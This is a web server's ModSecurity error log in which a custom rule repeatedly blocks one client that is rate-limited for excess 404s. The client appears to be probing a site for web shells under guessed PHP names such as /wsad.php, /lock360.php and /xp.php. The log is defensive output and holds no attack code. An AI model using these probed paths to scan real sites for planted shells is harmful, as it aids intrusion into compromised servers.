[Sat Dec 27 04:49:11.687098 2025] [:error] [pid 32278:tid 32287] [client 4.189.160.210:3084] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aU70x3-IfCN2Cy9Gcchr3AAAAMc"]
[Sat Dec 27 04:49:12.678402 2025] [:error] [pid 32278:tid 32299] [client 4.189.160.210:3131] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aU70yH-IfCN2Cy9Gcchr4gAAANM"]
[Sat Dec 27 04:49:16.414441 2025] [:error] [pid 32278:tid 32298] [client 4.189.160.210:24888] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aU70zH-IfCN2Cy9Gcchr7gAAANI"]
[Sat Dec 27 04:49:17.121280 2025] [:error] [pid 32193:tid 32250] [client 4.189.160.210:3110] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aU70zRgw0eCOc2qYqaIEwAAAAIA"]
[Sat Dec 27 04:49:17.691787 2025] [:error] [pid 32193:tid 32254] [client 4.189.160.210:49003] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aU70zRgw0eCOc2qYqaIEwgAAAIQ"]
[Sat Dec 27 04:49:19.257693 2025] [:error] [pid 32191:tid 32197] [client 4.189.160.210:23849] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aU70z7PNtMgrjVCHIdFwqwAAAAI"]
[Sat Dec 27 04:49:21.379448 2025] [:error] [pid 32191:tid 32209] [client 4.189.160.210:49092] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aU700bPNtMgrjVCHIdFwswAAAA4"]
[Sat Dec 27 04:49:22.251449 2025] [:error] [pid 32192:tid 32240] [client 4.189.160.210:49218] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aU700i_q0VFe066lbk-vYgAAAFE"]
[Sat Dec 27 04:49:23.788645 2025] [:error] [pid 32192:tid 32232] [client 4.189.160.210:3857] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsad.php"] [unique_id "aU700y_q0VFe066lbk-vaQAAAEk"]
[Sat Dec 27 04:49:26.093434 2025] [:error] [pid 32192:tid 32239] [client 4.189.160.210:28119] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsad.php"] [unique_id "aU701i_q0VFe066lbk-vcAAAAFA"]
[Sat Dec 27 04:49:27.202502 2025] [:error] [pid 32191:tid 32197] [client 4.189.160.210:28147] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsad.php"] [unique_id "aU7017PNtMgrjVCHIdFwugAAAAI"]
[Sat Dec 27 04:49:29.080030 2025] [:error] [pid 32191:tid 32195] [client 4.189.160.210:43459] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsad.php"] [unique_id "aU702bPNtMgrjVCHIdFwvAAAAAA"]
[Sat Dec 27 04:49:30.147343 2025] [:error] [pid 32192:tid 32237] [client 4.189.160.210:43040] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock1.php"] [unique_id "aU702i_q0VFe066lbk-vewAAAE4"]
[Sat Dec 27 04:49:32.683540 2025] [:error] [pid 32192:tid 32244] [client 4.189.160.210:3609] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock1.php"] [unique_id "aU703C_q0VFe066lbk-vhQAAAFU"]
[Sat Dec 27 04:49:33.301031 2025] [:error] [pid 32193:tid 32270] [client 4.189.160.210:43471] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock1.php"] [unique_id "aU703Rgw0eCOc2qYqaIE6gAAAJQ"]
[Sat Dec 27 04:49:34.987093 2025] [:error] [pid 32192:tid 32234] [client 4.189.160.210:32058] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock1.php"] [unique_id "aU703i_q0VFe066lbk-viAAAAEs"]
[Sat Dec 27 04:49:35.514476 2025] [:error] [pid 32278:tid 32280] [client 4.189.160.210:37626] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aU7033-IfCN2Cy9Gcchr_AAAAMA"]
[Sat Dec 27 04:49:36.392850 2025] [:error] [pid 32278:tid 32292] [client 4.189.160.210:40811] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aU704H-IfCN2Cy9Gcchr_QAAAMw"]
[Sat Dec 27 04:49:40.394842 2025] [:error] [pid 32278:tid 32293] [client 4.189.160.210:49004] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aU705H-IfCN2Cy9GcchsEgAAAM0"]
[Sat Dec 27 04:49:42.005308 2025] [:error] [pid 32278:tid 32303] [client 4.189.160.210:43461] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xp.php"] [unique_id "aU705n-IfCN2Cy9GcchsHgAAANc"]
[Sat Dec 27 04:49:43.977681 2025] [:error] [pid 32191:tid 32217] [client 4.189.160.210:28129] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aU7057PNtMgrjVCHIdFw5wAAABY"]
[Sat Dec 27 04:49:50.674052 2025] [:error] [pid 32278:tid 32280] [client 4.189.160.210:49016] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aU707n-IfCN2Cy9GcchsOQAAAMA"]
[Sat Dec 27 04:50:43.605629 2025] [:error] [pid 32278:tid 32283] [client 4.189.160.210:28664] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aU71I3-IfCN2Cy9GcchtWQAAAMM"]
[Sat Dec 27 04:50:46.289229 2025] [:error] [pid 32193:tid 32266] [client 4.189.160.210:31853] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aU71Jhgw0eCOc2qYqaIGBAAAAJA"]
[Sat Dec 27 04:50:49.281815 2025] [:error] [pid 32191:tid 32219] [client 4.189.160.210:30161] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aU71KbPNtMgrjVCHIdFxpAAAABg"]
[Sat Dec 27 04:50:50.220362 2025] [:error] [pid 32191:tid 32215] [client 4.189.160.210:37978] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aU71KrPNtMgrjVCHIdFxqQAAABQ"]
[Sat Dec 27 04:50:50.839171 2025] [:error] [pid 32192:tid 32235] [client 4.189.160.210:3512] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aU71Ki_q0VFe066lbk-wWAAAAEw"]
[Sat Dec 27 04:50:53.617055 2025] [:error] [pid 32193:tid 32258] [client 4.189.160.210:33473] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aU71LRgw0eCOc2qYqaIGFwAAAIg"]
[Sat Dec 27 04:50:54.174233 2025] [:error] [pid 32193:tid 32263] [client 4.189.160.210:33508] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aU71Lhgw0eCOc2qYqaIGGQAAAI0"]
[Sat Dec 27 04:50:55.870766 2025] [:error] [pid 32191:tid 32216] [client 4.189.160.210:26327] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aU71L7PNtMgrjVCHIdFx1gAAABU"]
[Sat Dec 27 04:50:59.367287 2025] [:error] [pid 32192:tid 32244] [client 4.189.160.210:32990] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aU71My_q0VFe066lbk-wbgAAAFU"]
[Sat Dec 27 04:51:01.030610 2025] [:error] [pid 32192:tid 32245] [client 4.189.160.210:31558] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aU71NS_q0VFe066lbk-wdAAAAFY"]
[Sat Dec 27 04:51:03.219972 2025] [:error] [pid 32278:tid 32284] [client 4.189.160.210:18888] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aU71N3-IfCN2Cy9GcchtrgAAAMQ"]
[Sat Dec 27 04:51:06.945071 2025] [:error] [pid 32278:tid 32298] [client 4.189.160.210:23375] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aU71On-IfCN2Cy9GcchtuwAAANI"]
[Sat Dec 27 04:51:08.323933 2025] [:error] [pid 32193:tid 32264] [client 4.189.160.210:32946] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aU71PBgw0eCOc2qYqaIGRwAAAI4"]
[Sat Dec 27 04:51:10.379071 2025] [:error] [pid 32193:tid 32273] [client 4.189.160.210:19377] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aU71Phgw0eCOc2qYqaIGXAAAAJc"]
[Sat Dec 27 04:51:11.694355 2025] [:error] [pid 32191:tid 32211] [client 4.189.160.210:48612] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aU71P7PNtMgrjVCHIdFyEgAAABA"]
[Sat Dec 27 04:51:14.786859 2025] [:error] [pid 32192:tid 32232] [client 4.189.160.210:19348] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aU71Qi_q0VFe066lbk-wgwAAAEk"]
[Sat Dec 27 04:51:17.699331 2025] [:error] [pid 32192:tid 32224] [client 4.189.160.210:23319] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pepe.php"] [unique_id "aU71RS_q0VFe066lbk-wiwAAAEE"]
[Sat Dec 27 04:51:19.744979 2025] [:error] [pid 32278:tid 32283] [client 4.189.160.210:18462] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pepe.php"] [unique_id "aU71R3-IfCN2Cy9GcchtyQAAAMM"]
[Sat Dec 27 04:51:21.134410 2025] [:error] [pid 32278:tid 32291] [client 4.189.160.210:32518] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pepe.php"] [unique_id "aU71SX-IfCN2Cy9GcchtzgAAAMs"]
[Sat Dec 27 04:51:23.236199 2025] [:error] [pid 32278:tid 32298] [client 4.189.160.210:18882] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pepe.php"] [unique_id "aU71S3-IfCN2Cy9Gccht0gAAANI"]
[Sat Dec 27 04:51:24.334690 2025] [:error] [pid 32193:tid 32262] [client 4.189.160.210:30560] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aU71TBgw0eCOc2qYqaIGeAAAAIw"]
[Sat Dec 27 04:51:29.891839 2025] [:error] [pid 32278:tid 32291] [client 4.189.160.210:18448] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aU71UX-IfCN2Cy9Gccht2gAAAMs"]
[Sat Dec 27 04:51:31.136026 2025] [:error] [pid 32191:tid 32201] [client 4.189.160.210:32112] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aU71U7PNtMgrjVCHIdFyLAAAAAY"]
[Sat Dec 27 04:51:33.218176 2025] [:error] [pid 32191:tid 32210] [client 4.189.160.210:22519] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aU71VbPNtMgrjVCHIdFyMAAAAA8"]
[Sat Dec 27 04:51:35.027155 2025] [:error] [pid 32278:tid 32287] [client 4.189.160.210:29128] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yca.php"] [unique_id "aU71V3-IfCN2Cy9Gccht5wAAAMc"]
[Sat Dec 27 04:51:36.012152 2025] [:error] [pid 32278:tid 32304] [client 4.189.160.210:24447] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yca.php"] [unique_id "aU71WH-IfCN2Cy9Gccht7QAAANg"]
[Sat Dec 27 04:51:36.717988 2025] [:error] [pid 32278:tid 32303] [client 4.189.160.210:32078] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yca.php"] [unique_id "aU71WH-IfCN2Cy9Gccht8QAAANc"]
[Sat Dec 27 04:51:38.323713 2025] [:error] [pid 32278:tid 32283] [client 4.189.160.210:33492] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yca.php"] [unique_id "aU71Wn-IfCN2Cy9Gccht-QAAAMM"]
[Sat Dec 27 04:51:40.001416 2025] [:error] [pid 32278:tid 32288] [client 4.189.160.210:22515] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aU71XH-IfCN2Cy9Gccht_QAAAMg"]
[Sat Dec 27 04:52:35.209602 2025] [:error] [pid 32192:tid 32226] [client 4.189.160.210:28209] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aU71ky_q0VFe066lbk-xtAAAAEM"]
[Sat Dec 27 04:52:37.660061 2025] [:error] [pid 32278:tid 32284] [client 4.189.160.210:48959] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aU71lX-IfCN2Cy9GcchukQAAAMQ"]
[Sat Dec 27 04:52:39.389685 2025] [:error] [pid 32192:tid 32233] [client 4.189.160.210:22937] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aU71ly_q0VFe066lbk-xuwAAAEo"]
[Sat Dec 27 04:52:41.819728 2025] [:error] [pid 32191:tid 32219] [client 4.189.160.210:20563] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/orm.php"] [unique_id "aU71mbPNtMgrjVCHIdFypwAAABg"]
[Sat Dec 27 04:52:44.274692 2025] [:error] [pid 32191:tid 32207] [client 4.189.160.210:18594] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aU71nLPNtMgrjVCHIdFyrgAAAAw"]
[Sat Dec 27 04:52:45.612224 2025] [:error] [pid 32193:tid 32253] [client 4.189.160.210:18577] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "aU71nRgw0eCOc2qYqaIHZAAAAIM"]
